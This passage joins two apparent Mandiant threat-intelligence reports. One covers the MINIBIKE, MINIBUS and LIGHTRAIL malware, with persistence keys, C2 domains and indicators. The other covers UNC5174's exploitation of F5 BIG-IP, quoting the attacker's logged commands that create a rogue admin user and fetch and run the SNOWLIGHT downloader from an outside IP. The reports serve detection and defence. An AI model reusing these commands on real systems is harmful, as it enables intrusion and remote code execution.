  1. The MINIBIKE backdoor, usually in the form of a .dll or a .dat file
  2. A launcher, executed via search-order-hijacking (SoH), deploying MINIBIKE and setting its persistence using registry keys
  3. A legitimate/fake executable, used to mask the malicious MINIBIKE deployment. Mandiant observed different MINIBIKE versions use three applications for this purpose: Microsoft SharePoint, Microsoft OneDrive, and a fake Hamas-related .NET application.

The MINIBIKE platform has been in use since at least June 2022, gradually being developed to several versions distinct from each other in lures, features, and functionality. While Mandiant did not observe any embedded version numbers, the MINIBIKE instances can be divided to the following versions.

Ver.

Date

Changes (Compared to Earlier Version)

Geographies

Example MD5

1.0

June 2022

- First version

- C2 server geolocated in Iran (not Azure)

- Submitted to a public malware repository from Iran

- Legitimate SharePoint installation as a lure

- Bundled in an IMG drive (“Screenshot.img”)

- Export DLL name: “update.dll”

Iran

adef679c6aa6860a
a89b775dceb6958b

1.1

October–November 2022

- First use of Azure subdomains for C2 - Three embedded, only one used

- First use of OneDrive installation as a lure and as a registry key for persistence

- Export DLL name: “Mini.dll”

UAE, Turkey

409c2ac789015e76
f9886f1203a73bc0

2.0

August 2023

- Three to five Azure C2 domains used subsequently in a loop

- Bundled in a ZIP file (“Survey.zip”)

- Additional obfuscation

- Additional functionality and commands

- Export DLL name: “Mini-Junked.dll”

Israel, UAE

691d0143c0642ff7
83909f983ccb8ffd

2.1

August 2023

- Uses “Image Photo Viewer“ registry key for persistence

- Additional obfuscation

- Three Azure C2 domains

Israel, India

e3dc8810da71812b
860fc59aeadcc350

2.2

August–October 2023

- Four Azure C2 domains

- Reverts back to OneDrive registry key for persistence

- Additional functionality and commands

- Additional obfuscation

- Beacon communication looping over three “files”: index.html, favicon.ico, icon.svg

- Export DLL name: “Micro.dll”

Israel, UAE

054c67236a86d9ab
5ec80e16b884f733

MINIBUS: A RoBUSt Successor?

Mandiant observed a second backdoor deployed in this campaign, which bears multiple similarities to MINIBIKE and was therefore named MINIBUS. The MINIBUS platform has been used since at least August 2023, likely during the same time as the latest MINIBIKE versions, though not necessarily to target the same victims. 

MINIBUS is a more advanced, updated platform when compared to MINIBIKE. While similar in functionality and code base, MINIBUS contains fewer built-in features and a more flexible code-execution and command interface in addition to more advanced reconnaissance features. 

This might make the MINIBUS platform a more suitable option for an experienced operator, which instead of using ready-to-use features may require a more flexible platform. Such an operator may be concerned with operational security (OpSec), possibly as an early stage in a more elaborate  operation.

The following is a more detailed list of the key differences between the MINIBIKE and MINIBUS platforms.

Functionality

  • MINIBUS has fewer built-in commands and features when compared with MINIBIKE. Instead, MINIBUS provides a more flexible code-execution and command interface, including the ability to run an executable (for example, a possible next-stage implant) using a single command, unlike MINIBIKE.
  • MINIBUS has a process enumeration feature. A process list generated by MINIBUS may be useful to avoid detection, for example, by identifying processes related to Virtual Machine (VM) utilities or security applications (such as an EDR). 

Export DLL Names

The MINIBUS bundle contains DLLs with the names “torvaldinitial.dll” for its launcher/installer and “torvaldspersist.dll” for its payload, unlike MINIBIKE, which utilizes export DLL names like “Dr2.dll” or “MspUpdate.dll”  (for its launchers) and “Mini-Junked.dll” or “Micro.dll” (for its payloads).

C2 Communication

MINIBUS uses a combination of an Azure subdomain and unique *.com domains for C2 communications, unlike MINIBIKE, which relies only on Azure infrastructure.

Lures and Themes

MINIBUS deployed lures related to the Israel-Hamas war, including a fake .NET application with themes and contents abusing the “Bring Them Home Now” movement, which calls for the return of the Israeli hostages kidnapped by Hamas. In another MINIBUS instance, Mandiant observed a lure related to Quizora, possibly referring to a quiz application.

Targeting and Geography

Like MINIBIKE, Mandiant observed MINIBUS targeting Israel and possibly India and the UAE. In addition, a MINIBUS C2 domain (cashcloudservices[.]com) had a subdomain with the prefix nsalbaniahack[.]*, suggesting an interest in Albania as well, which is consistent with Iran interests but not yet observed in a MINIBIKE-related activity.

LIGHTRAIL: Highway to Where?

In addition to the MINIBIKE and MINIBUS backdoors, Mandiant observed a tunneler named LIGHTRAIL likely affiliated with UNC1549 as well.

LIGHTRAIL has several connections to MINIBIKE and MINIBUS in the form of (1) a shared code base, (2) Azure C2 infrastructure with similar patterns and naming, and (3) overlapping targets and victimology.

LIGHTRAIL communicates with an Azure C2 subdomain of the form *[.]*[.]cloudapp[.]azure[.]com. Mandiant assesses with medium confidence that both LIGHTRAIL and MINIBIKE were used to target the same victim environment at least once.

LIGHTRAIL likely leverages the open-source utility “Lastenzug” (“freight train” in German), a Socks4a proxy based on websockets with a “static obfuscation on [the] assembly level.” LIGHTRAIL’s export DLL is named “lastenzug.dll,” and it shares the same hard-coded User Agent as Lastenzug.

  • Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

Mandiant observed two LIGHTRAIL versions used at least since November 2022. Similarly to MINIBIKE, no “official” versions were embedded in LIGHTRAIL’s code, but the instances can be divided to two versions.

Ver.

Date

Changes (Compared to Earlier Version)

Geographies

Example MD5

1.0

November 2022

- C2 domains: tnlsowki[.]westus3[.]cloudapp[.]azure[.]com

tnlsowkis[.]westus3[.]cloudapp[.]azure[.]com

- Export DLL named “lastenzug.dll”, likely referring to the open-source Socks4a proxy

Turkey

36e2d9ce19ed045a
9840313439d6f18d

2.0

August 2023

- C2 domain: iaidevrssfeed[.]centralus[.]cloudapp[.]azure[.]com

- Export DLL named “Lastenzug.dll” (capital ‘L’)

- String obfuscation, similar to MINIBIKE

Israel

a5fdf55c1c50be47
1946de937f1e46dd

Credential Harvesting and Fake Job Offers

Mandiant observed that several websites hosting MINIBIKE payloads also hosted fake login pages in mid-2023 posing as job offers on behalf of legitimate defense and technology-related companies. More specifically, the companies were affiliated with the  aerospace, aviation, and thermal imaging industries.

Fake login page masquerading as the aerospace company Boeing

Figure 6: Fake login page masquerading as the aerospace company Boeing

Fake login page masquerading as Teledyne FLIR, a manufacturer of thermal imaging devices

Figure 7: Fake login page masquerading as Teledyne FLIR, a manufacturer of thermal imaging devices

In addition, Mandiant observed suspected UNC1549 infrastructure hosting job description documents for positions in DJI,  a drone manufacturing company, in parallel to a MINIBIKE .zip file. 

The documents were likely used as lures in social engineering efforts, either for running malicious files or harvesting credentials.

Fake DJI job offer

Figure 8: Fake DJI job offer (MD5: 4a223bc9c6096ac6bae3e7452ed6a1cd)

Fake DJI job offer

Figure 9: Fake DJI job offer (MD5: ec6a0434b94f51aa1df76a066aa05413)

Technical Appendix

MINIBIKE Technical Analysis

Mandiant observed the following versions of MINIBIKE deployed since 2022.

Version 1.x, June–November 2022

  • Payload: IMG archive named Screenshot.img (example MD5: 409c2ac789015e76f9886f1203a73bc0), containing the following files:
    • Screenshots.lnk - a launcher LNK file (MD5: cb565b1bb128dfc20c8392974ff73e3f)
    • Setup.exe - a legitimate OneDrive/SharePoint executable (MD5: 400d7190012517677dd5ef2e471f2cd1)
    • secur32.dll - the MINIBIKE launcher, executed via search-order-hijacking (SoH) (MD5: 54848d17aa76d807e2fd6d196a01ce84)
    • configur.dll - the MINIBIKE backdoor (MD5: e9ed595b24a7eeb34ac52f57eeec6e2b)

Note: Most of the following analysis refers to version 1.0, but version 1.1 behaves in a similar manner.

  • Execution: once the IMG archive is mounted, the malicious launcher is executed via SoH and copies the legitimate executable and the MINIBIKE backdoor to the following paths:
    • Legitimate executable: %LOCALAPPDATA%\Microsoft\OneDrive\configs\FileCoAuth.exe
    • MINIBIKE backdoor: %LOCALAPPDATA%\Microsoft\OneDrive\configs\secur32.dll
  • Persistence: The loader/installer sets persistence for the MINIBIKE payload by moving it to its staging directory and setting the following Run registry key:
    • Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveFileCoAuth.exe
    • Value: %LOCALAPPDATA%\Microsoft\OneDrive\configs\FileCoAuth.exe
  • Export DLL name:
    • Version 1.0: “update.dll”
    • Version 1.1: “Mini.dll”
  • User Agent:
    • Version 1.0: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Mobile Safari/537.36
    • Version 1.1: Mozilla/5.0
  • C2 infrastructure: 
    • Version 1.0: 158.255.74[.]25
    • Version 1.1: homefurniture[.]azurewebsites[.]net
  • C2 URIs:
    • Version 1.0:
      • /api/blogs/96752 - initial beacon and request command
      • /api/blogs/result/96752 - command/request response
      • /api/blogs/download/ - download file
      • /api/blogs/result/file/ - upload file
    • Version 1.1:
      • /news/notifications/235722 - initial beacon and request command
      • /news/update/ - command/request response
      • /news/image/ - download file
  • Affected geographies: UAE, Turkey, Iran

Version 2.x, August–October 2023

  • Payload: ZIP archive, usually named Survey.zip (example MD5: 691d0143c0642ff783909f983ccb8ffd), containing the following files:
    • Setup.exe - a legitimate executable used to sideload the installer (MD5: ce1054d542dbd999401236f2ce20f826)
    • secur32.dll - The MINIBIKE backdoor - (MD5: 1e7cf4c172bdabe48714b402d2255707)
    • lang.dat - a MINIBIKE installer (MD5: 909a235ac0349041b38d84e9aab3f3a1)
  • Execution: once the legitimate executable is run, the MINIBIKE installer is sideloaded and the files are copied to the following paths:
    • Legitimate executable: %LOCALAPPDATA%\Microsoft\Internet Explorer\FileCoAuth.exe
    • MINIBIKE backdoor: %LOCALAPPDATA%\Microsoft\Internet Explorer\secur32.dll
  • Persistence: The loader/installer sets persistence for the MINIBIKE payload by moving it to its staging directory and setting the following Run registry key:
    • Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive FileCoAuth
    • Value: %LOCALAPPDATA%\Microsoft\Internet Explorer\secur32.dll

Note: Version 2.1 uses ‘Image Photo Viewer’ as a registry key

  • Export DLL name:
    • Versions 2.0 and 2.1: “Mini-Junked.dll”
    • Version 2.2: “Micro.dll”

Note: In a single instance Mandiant observed the use of “devobj.dll”

  • User Agent:
    • Version 2.0: 
      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.180 (KHTML, like Gecko) Chrome/110.0.0.2 Safari/538.36 
      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.181 (KHTML, like Gecko) Chrome/111.0.0.2 Safari/538.46
    • Version 2.1: 
      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.181 (KHTML, like Gecko) Chrome/111.0.0.2 Safari/538.36
      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.181 (KHTML, like Gecko) Chrome/111.0.0.2 Safari/538.46
    • Version 2.2: 
      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

Note: In a single instance Mandiant observed the use of “Mozilla/5.0” user agent.

  • C2 infrastructure: This version of MINIBIKE communicates with three to five Azure subdomains. After every communication it uses the next C2 in a loop, for example:
    • blogvolleyballstatus[.]azurewebsites[.]net
    • blogvolleyballstatusapi[.]azurewebsites[.]net
    • marineblogapi[.]azurewebsites[.]net
  • C2 URIs: 
    • Versions 2.0 and 2.1:
      • /news/notifications/<six_digits> - initial beacon and request command
      • /news/update/ - command/request response
      • /news/image/ - download file
    • Version 2.2:
      • /assets/<six_or_eight_digits>/ {index.html / favicon.ico / icon.svg} - initial beacon and request command
      • /assets/<six_or_eight_digits>/ - command/request response
      • /assets/<six_or_eight_digits>/ - download file
      • /assets/<six_or_eight_digits>/ - upload file

Note: In a single instance Mandiant observed the use of URIs of the form: blogs/<keywords>

  • Affected geographies: Israel, UAE, and potentially India

MINIBUS Analysis

  • Payload: ZIP archive named bringthemhomenow.zip (MD5: ef262f571cd429d88f629789616365e4), containing the following files:
    • BringThemeHome.exe - a benign executable (MD5: ce1054d542dbd999401236f2ce20f826)
    • A MINIBUS installer - secur32.dll (MD5: c5dc2c75459dc99a42400f6d8b455250)
    • CoreUIComponent.dll - the MINIBUS backdoor (MD5: 816af741c3d6be1397d306841d12e206)
    • essential.dat - an additional archive containing decoy content: a “Bring Them Home” fake .NET application created by  the threat actor (MD5: 251894b3af0ece374ed6df223ab09cab)
  • Execution: Once the legitimate executable is run, the MINIBUS installer is installed via search-order-hijacking (SoH). 

The installer DLL displays a message indicating the files are being extracted:

MINIBUS installer DLL installation message

Figure 10: MINIBUS installer DLL installation message

The decoy contents are moved to their intended location on the targeted system:

Installer DLL message box

Figure 11: Installer DLL message box

Two main decoy files are contained within the ZIP archive along with some dependency files, essential.dat (MD5: 251894b3af0ece374ed6df223ab09cab):

  • Decoy .NET application masquerading as an application related to Israeli hostages kidnapped by Hamas during the Oct. 7 attack on Israel: <extraction_directory>\BringThemeHomeNow\BringThemeHomeNow.exe [sic] (MD5: dfed4468dd78ad2f5d762741df4c1755)

Fake “Bring Them Home Now”.NET application “BringThemeHomeNow.exe” [sic]

Figure 12: Fake “Bring Them Home Now”.NET application “BringThemeHomeNow.exe” [sic]

  • Decoy image: <extraction_directory>\BringThemeHomeNow\petition.jpg (MD5: c0060a0c26df9fed7fdcdb7d26ff921f)
Decoy content used by MINIBUS, related to the “Bring Them Home Now” movement

Figure 13: Decoy content "petition.jpg"

Upon execution, the .NET application initially checks of the existence of a flag file that indicates if the decoy has previously run on the device: %LOCALAPPDATA%\Commons\lg

If the file does not exist, a splash screen is displayed prior to entering the application. If the file already exists, the application presents the main screen (seen in Figure 12).

In addition to displaying decoy content to the victim, the installer DLL copies the backdoor and dependency files to their staging directory, and it also sets persistence for the backdoor using the following registry run key:

Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveCoUpdate

Value: %LOCALAPPDATA%\Microsoft\OneDrive\cache\logger\FileCoAuth.exe
  • C2 infrastructure: This version of MINIBIKE communicates with one Azure subdomain and two dedicated domains:
    • vscodeupdater[.]azurewebsites[.]net
    • cashcloudservices[.]com
    • xboxplayservice[.]com
  • Affected geographies: Israel and India, as well as possibly UAE and Albania, based on the following subdomains of cashcloudservices[.]com:
    • dubai-ae0043[.]cashcloudservices[.]com
    • nsalbaniahack[.]cashcloudservices[.]com

Detection and Mitigation

If you are a Google Chronicle Enterprise+ customer, Chronicle rules were released to your Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.  

Indicators of Compromise (IOCs)

MINIBIKE

  • 01cbaddd7a269521bf7b80f4a9a1982f

  • 054c67236a86d9ab5ec80e16b884f733

  • 1d8a1756b882a19d98632bc6c1f1f8cd

  • 2c4cdc0e78ef57b44f11f7ec2f6164cd

  • 3b658afa91ce3327dbfa1cf665529a6d

  • 409c2ac789015e76f9886f1203a73bc0

  • 601eb396c339a69e7d8c2a3de3b0296d

  • 664cfda4ada6f8b7bb25a5f50cccf984

  • 68f6810f248d032bbb65b391cdb1d5e0

  • 691d0143c0642ff783909f983ccb8ffd

  • 710d1a8b2fc17c381a7f20da5d2d70fc

  • 75d2c686d410ec1f880a6fd7a9800055

  • 909a235ac0349041b38d84e9aab3f3a1

  • a5e64f196175c5f068e1352aa04bc5fa

  • adef679c6aa6860aa89b775dceb6958b

  • bfd024e64867e6ca44738dd03d4f87b5

  • c12ff86d32bd10c6c764b71728a51bce

  • cf32d73c501d5924b3c98383f53fda51

  • d94ffe668751935b19eaeb93fed1cdbe

  • e3dc8810da71812b860fc59aeadcc350

  • e9ed595b24a7eeb34ac52f57eeec6e2b

  • eadbaabe3b8133426bcf09f7102088d4

MINIBUS

  • ef262f571cd429d88f629789616365e4

  • 816af741c3d6be1397d306841d12e206

  • c5dc2c75459dc99a42400f6d8b455250

  • 05fcace605b525f1bece1813bb18a56c

  • 4ed5d74a746461d3faa9f96995a1eec8

  • f58e0dfb8f915fa5ce1b7ca50c46b51b

LIGHTRAIL

  • 0a739dbdbcf9a5d8389511732371ecb4

  • 36e2d9ce19ed045a9840313439d6f18d

  • aaef98be8e58be6b96566268c163b6aa

  • c3830b1381d95aa6f97a58fd8ff3524e

  • c51bc86beb9e16d1c905160e96d9fa29

  • a5fdf55c1c50be471946de937f1e46dd

Fake Job Offers

  • ec6a0434b94f51aa1df76a066aa05413

  • 89107ce5e27d52b9fa6ae6387138dd3e

  • 4a223bc9c6096ac6bae3e7452ed6a1cd

C2 and Hosting Infrastructure

  • 1stemployer[.]com

  • birngthemhomenow[.]co[.]il

  • cashcloudservices[.]com

  • jupyternotebookcollections[.]com

  • notebooktextcheckings[.]com

  • teledyneflir[.]com[.]de

  • vsliveagent[.]com

  • xboxplayservice[.]com

Azure Subdomains

  • airconnectionapi[.]azurewebsites[.]net

  • airconnectionsapi[.]azurewebsites[.]net

  • airconnectionsapijson[.]azurewebsites[.]net

  • airgadgetsolution[.]azurewebsites[.]net

  • airgadgetsolutions[.]azurewebsites[.]net

  • altnametestapi[.]azurewebsites[.]net

  • answerssurveytest[.]azurewebsites[.]net

  • apphrquestion[.]azurewebsites[.]net

  • apphrquestions[.]azurewebsites[.]net

  • apphrquizapi[.]azurewebsites[.]net

  • arquestionsapi[.]azurewebsites[.]net

  • arquestions[.]azurewebsites[.]net

  • audiomanagerapi[.]azurewebsites[.]net

  • audioservicetestapi[.]azurewebsites[.]net

  • blognewsalphaapijson[.]azurewebsites[.]net

  • blogvolleyballstatusapi[.]azurewebsites[.]net

  • blogvolleyballstatus[.]azurewebsites[.]net

  • boeisurveyapplications[.]azurewebsites[.]net

  • browsercheckap[.]azurewebsites[.]net

  • browsercheckingapi[.]azurewebsites[.]net

  • browsercheckjson[.]azurewebsites[.]net

  • changequestionstypeapi[.]azurewebsites[.]net

  • changequestionstypejsonapi[.]azurewebsites[.]net

  • changequestiontypesapi[.]azurewebsites[.]net

  • changequestiontypes[.]azurewebsites[.]net

  • checkapicountryquestions[.]azurewebsites[.]net

  • checkapicountryquestionsjson[.]azurewebsites[.]net

  • checkservicecustomerapi[.]azurewebsites[.]net

  • coffeeonlineshop[.]azurewebsites[.]net

  • coffeeonlineshoping[.]azurewebsites[.]net

  • connectairapijson[.]azurewebsites[.]net

  • connectionhandlerapi[.]azurewebsites[.]net

  • countrybasedquestions[.]azurewebsites[.]net

  • customercareserviceapi[.]azurewebsites[.]net

  • customercareservice[.]azurewebsites[.]net

  • emiratescheckapi[.]azurewebsites[.]net

  • emiratescheckapijson[.]azurewebsites[.]net

  • engineeringrssfeed[.]azurewebsites[.]net

  • engineeringssfeed[.]azurewebsites[.]net

  • exchtestcheckingapi[.]azurewebsites[.]net

  • exchtestcheckingapihealth[.]azurewebsites[.]net

  • flighthelicopterahtest[.]azurewebsites[.]net

  • helicopterahtest[.]azurewebsites[.]net

  • helicopterahtests[.]azurewebsites[.]net

  • helicoptersahtests[.]azurewebsites[.]net

  • hiringarabicregion[.]azurewebsites[.]net

  • homefurniture[.]azurewebsites[.]net

  • hrapplicationtest[.]azurewebsites[.]net

  • humanresourcesapi[.]azurewebsites[.]net

  • humanresourcesapijson[.]azurewebsites[.]net

  • humanresourcesapiquiz[.]azurewebsites[.]net

  • iaidevrssfeed[.]centralus[.]cloudapp[.]azure[.]com

  • iaidevrssfeed[.]centrualus[.]cloudapp[.]azure[.]com

  • iaidevrssfeed[.]cloudapp[.]azure[.]com

  • iaidevrssfeedp[.]cloudapp[.]azure[.]com

  • identifycheckapplication[.]azurewebsites[.]net

  • identifycheckapplications[.]azurewebsites[.]net

  • identifycheckingapplications[.]azurewebsites[.]net

  • ilengineeringrssfeed[.]azurewebsites[.]net

  • integratedblognewfeed[.]azurewebsites[.]net

  • integratedblognewsapi[.]azurewebsites[.]com

  • integratedblognewsapi[.]azurewebsites[.]net

  • integratedblognews[.]azurewebsites[.]net

  • intengineeringrssfeed[.]azurewebsites[.]net

  • intergratedblognewsapi[.]azurewebsites[.]net

  • javaruntime[.]azurewebsites[.]net

  • javaruntimestestapi[.]azurewebsites[.]net

  • javaruntimetestapi[.]azurewebsites[.]net

  • javaruntimeversioncheckingapi[.]azurewebsites[.]net

  • javaruntimeversionchecking[.]azurewebsites[.]net

  • jupyternotebookcollection[.]azurewebsites[.]net

  • jupyternotebookcollections[.]azurewebsites[.]net

  • jupyternotebookscollection[.]azurewebsites[.]net

  • logsapimanagement[.]azurewebsites[.]net

  • logsapimanagements[.]azurewebsites[.]net

  • logupdatemanagementapi[.]azurewebsites[.]net

  • logupdatemanagementapijson[.]azurewebsites[.]net

  • manpowerfeedapi[.]azurewebsites[.]net

  • manpowerfeedapijson[.]azurewebsites[.]net

  • marineblogapi[.]azurewebsites[.]net

  • notebooktextchecking[.]azurewebsites[.]net

  • notebooktextcheckings[.]azurewebsites[.]net

  • notebooktexts[.]azurewebsites[.]net

  • onequestionsapi[.]azurewebsites[.]net

  • onequestionsapicheck[.]azurewebsites[.]net

  • onequestions[.]azurewebsites[.]net

  • openapplicationcheck[.]azurewebsites[.]net

  • optionalapplication[.]azurewebsites[.]net

  • personalitytestquestionapi[.]azurewebsites[.]net

  • personalizationsurvey[.]azurewebsites[.]net

  • qaquestionapi[.]azurewebsites[.]net

  • qaquestionsapi[.]azurewebsites[.]net

  • qaquestionsapijson[.]azurewebsites[.]net

  • qaquestions[.]azurewebsites[.]net

  • queryfindquestions[.]azurewebsites[.]net

  • queryquestions[.]azurewebsites[.]net

  • questionsapplicationapi[.]azurewebsites[.]net

  • questionsapplicationapijson[.]azurewebsites[.]net

  • questionsapplicationbackup[.]azurewebsites[.]net

  • questionsdatabases[.]azurewebsites[.]net

  • questionsurveyapp[.]azurewebsites[.]net

  • questionsurveyappserver[.]azurewebsites[.]net

  • quiztestapplication[.]azurewebsites[.]net

  • refaeldevrssfeed[.]centralus[.]cloudapp[.]azure[.]com

  • regionuaequestions[.]azurewebsites[.]net

  • registerinsurance[.]azurewebsites[.]net

  • roadmapselectorapi[.]azurewebsites[.]net

  • roadmapselector[.]azurewebsites[.]net

  • sportblogs[.]azurewebsites[.]net

  • surveyappquery[.]azurewebsites[.]net

  • surveyonlinetestapi[.]azurewebsites[.]net

  • surveyonlinetest[.]azurewebsites[.]net

  • technewsblogapi[.]azurewebsites[.]net

  • testmanagementapi1[.]azurewebsites[.]net

  • testmanagementapis[.]azurewebsites[.]net

  • testmanagementapisjson[.]azurewebsites[.]net

  • testquestionapplicationapi[.]azurewebsites[.]net

  • testtesttes[.]azurewebsites[.]net

  • tiappschecktest[.]azurewebsites[.]net

  • tnlsowkis[.]westus3[.]cloudapp[.]azure[.]com

  • tnlsowki[.]westus3[.]cloudapp[.]azure[.]com

  • turkairline[.]azurewebsites[.]net

  • uaeaircheckon[.]azurewebsites[.]net

  • uaeairchecks[.]azurewebsites[.]net

  • vscodeupdater[.]azurewebsites[.]net

  • workersquestionsapi[.]azurewebsites[.]net

  • workersquestions[.]azurewebsites[.]net

  • workersquestionsjson[.]azurewebsites[.]net

]]> <![CDATA[Bringing Access Back — Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect]]> https://tsecurity.de/de/3578874/it-security-nachrichten/bringing-access-back-initial-access-brokers-exploit-f5-big-ip-cve-2023-46747-and-screenconnect/ https://tsecurity.de/de/3578874/it-security-nachrichten/bringing-access-back-initial-access-brokers-exploit-f5-big-ip-cve-2023-46747-and-screenconnect/ Sun, 07 Jun 2026 08:22:25 +0200 📰 IT Security Nachrichten tsecurity.de

Written by: Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen

 

During the course of an intrusion investigation in late October 2023, Mandiant observed novel N-day exploitation of CVE-2023-46747 affecting F5 BIG-IP Traffic Management User Interface. Additionally, in February 2024, we observed exploitation of Connectwise ScreenConnect CVE-2024-1709 by the same actor. This mix of custom tooling and the SUPERSHELL framework leveraged in these incidents is assessed with moderate confidence to be unique to a People's Republic of China (PRC) threat actor, UNC5174.

Mandiant assesses UNC5174 (believed to use the persona "Uteus") is a former member of Chinese hacktivist collectives that has since shown indications of acting as a contractor for China's Ministry of State Security (MSS) focused on executing access operations. UNC5174 has been observed attempting to sell access to U.S. defense contractor appliances, UK government entities, and institutions in Asia in late 2023 following CVE-2023-46747 exploitation. In February 2024, UNC5174 was observed exploiting ConnectWise ScreenConnect vulnerability (CVE-2024-1709) to compromise hundreds of institutions primarily in the U.S. and Canada.

Targeting and Timeline

UNC5174 has been linked to widespread aggressive targeting and intrusions of Southeast Asian and U.S. research and education institutions, Hong Kong businesses, charities and non-governmental organizations (NGOs), and U.S. and UK government organizations during October and November 2023, as well as in February 2024.

The actor appears primarily focused on executing access operations. Mandiant observed UNC5174 exploiting various vulnerabilities during this time.

  • ConnectWise ScreenConnect Vulnerability CVE-2024-1709
  • F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability CVE-2023-46747
  • Atlassian Confluence CVE-2023-22518
  • Linux Kernel Exploit CVE-2022-0185
  • Zyxel Firewall OS Command Injection Vulnerability CVE-2022-30525

Investigations revealed several instances of UNC5174 infrastructure, exposing the attackers' bash command history. This history detailed artifacts of extensive reconnaissance, web application fuzzing, and aggressive scanning for vulnerabilities on internet-facing systems belonging to prominent universities in the U.S., Oceania, and Hong Kong regions. Additionally, key strategic targets like think tanks in the U.S. and Taiwan were identified; however, Mandiant does not have significant evidence to determine successful exploitation of these targets.

UNC5174 global targeting map

Figure 1: UNC5174 global targeting map

Initial Disclosure of CVE-2023-46747

On Oct. 25, 2023, Praetorian published an advisory and proof-of-concept (PoC) for a zero-day (0-day) vulnerability (CVE-2023-46747) impacting the F5 BIG-IP Traffic Management User Interface (TMUI). This vulnerability allows an unauthenticated remote attacker to execute arbitrary commands on the BIG-IP operating system as the root user. The blog post also detailed steps required for successful exploitation, involving Apache JServ Protocol (AJP) request smuggling to create an administrative user, which can then be leveraged to execute bash commands via the F5 Traffic Management Shell (TMSH). Following the initial advisory, F5 published a security advisory on Oct. 27, 2023. The advisory detailed the affected F5 appliance versions and provided a script for mitigating the vulnerability. Mandiant strongly recommends organizations apply the mitigation script to vulnerable F5 BIG-IP appliances and investigate for evidence of compromise.

Evidence of Exploitation

Mandiant identified UNC5174 compromising F5 BIG-IP appliances, which exhibited evidence of administrative user account creation and execution of bash commands via the TMSH. Through investigation it became apparent that UNC5174 had exploited CVE-2023-46747 to perform actions on the appliance like account creation. The anomalous behavior appeared first in the "/var/log/audit" log file, which recorded evidence of the creation of new admin user accounts and bash commands executed by the newly created user via the F5's TMSH. This action also resulted in the creation of the same new user account on the underlying operating system, including the following entries:

  • /etc/passwd
  • /etc/shadow
  • The creation of the user's home directory was also replicated at /home/<username>.
Oct 28 01:52:32 localhost.localdomain notice tmsh[30629]: 
01420002:5: AUDIT - pid=30629 user=root folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=create 
auth user f5support3 password **** shell bash partition-access 
add { all-partitions { role admin } }

Oct 28 01:53:29 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=f5support3 folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash -c id

Table 1: Compromised host Audit log. Note the compromised appliance recorded timestamps in local time.

The "/var/log/restjavad-audit.log" recorded evidence of malicious requests to the REST API, including user account, HTTP request method, API endpoint, and source IP address. In the following example, UNC5174 authenticated and executed bash commands on the underlying operating system as the newly created user "f5support3". The following log entries show the f5support3 user executing bash commands. The body of the POST request contains the bash command being executed.

[I][8602][27 Oct 2023 14:53:29 UTC][ForwarderPassThroughWorker] 
{"user":"local/f5support3","method":"POST","uri":"http://localhost:8100
/mgmt/tm/util/bash","status":200,"from":"154.12.177[.]8"}

[I][8603][27 Oct 2023 14:53:36 UTC][ForwarderPassThroughWorker] 
{"user":"local/f5support3","method":"PATCH","uri":"http://localhost:8100
/mgmt/shared/authz/users/f5support3","status":200,"from":"154.12.177[.]8"}

Table 2: UNC5174 bash commands with newly created username f5support3

UNC5174 then created new accounts via the F5 TMUI, attempting to appear as legitimate F5-related user accounts, including:

  • F5support3
  • F5_admin
  • f5_support

Post-Exploitation Tactics by UNC5174 After Successful Account Creation

SNOWLIGHT, GOHEAVY, GOREVERSE, and SUPERSHELL

UNC5174 leveraged their newly minted TMSH access to download and execute "/tmp/watchsys" using a cURL command. Mandiant's analysis of the file "/tmp/watchsys" identified it as a new 64-bit ELF downloader we have named SNOWLIGHT.

The following chained bash` commands attributed to UNC5174 will perform the following actions related to SNOWLIGHT: 

  1. Delete any file previously written to /tmp/watchsys.
  2. Forcefully kill the process "watchsys" if it is running.
  3. Download the file from a remote URL to /tmp/watchsys.
  4. Modify the permissions of /tmp/watchsys to allow execution.
  5. Execute /tmp/watchsys using "nohup", so that the process will continue executing after the parent process is terminated.
  6. Perform a directory listing of the /tmp directory.
Nov  2 07:29:47 localhost.localdomain notice icrd_child[17602]: 
01420002:5: AUDIT - pid=17602 user=admin folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash 
-c "rm -rf /tmp/watchsys;killall -9 watchsys;curl -o /tmp/watchsys 
http://172.104.124[.]74/LG;chmod 755 /tmp/watchsys;nohup 
/tmp/watchsys &;ls -al /tmp/"

Table 3: UNC5174 cURL command to download SNOWLIGHT downloader

Excerpt showing SNOWLIGHT's decoding routine and memory injection method

Figure 2: Excerpt showing SNOWLIGHT's decoding routine and memory injection method

SNOWLIGHT is a downloader written in C and is designed to run on Linux systems. SNOWLIGHT uses raw sockets to connect to a hard-coded IP address over TCP port 443 and uses a binary protocol to communicate with the command-and-control (C2 or C&C) server, though one variant has been observed using a fake HTTP header for an initial beacon packet. Upon successful communication with its C2 server, a secondary ELF file is downloaded and XOR decoded using the key "0x99".

Finally, the decoded secondary ELF file is loaded into memory using Linux's "sys_memfd_create" and executed via "fexecve". The payload is downloaded directly into memory and executed without ever being written to disk. In the SNOWLIGHT variants we observed, the payloads process will run under the hard-coded name of "". This is identifiable in a running process list as a "memfd" process.

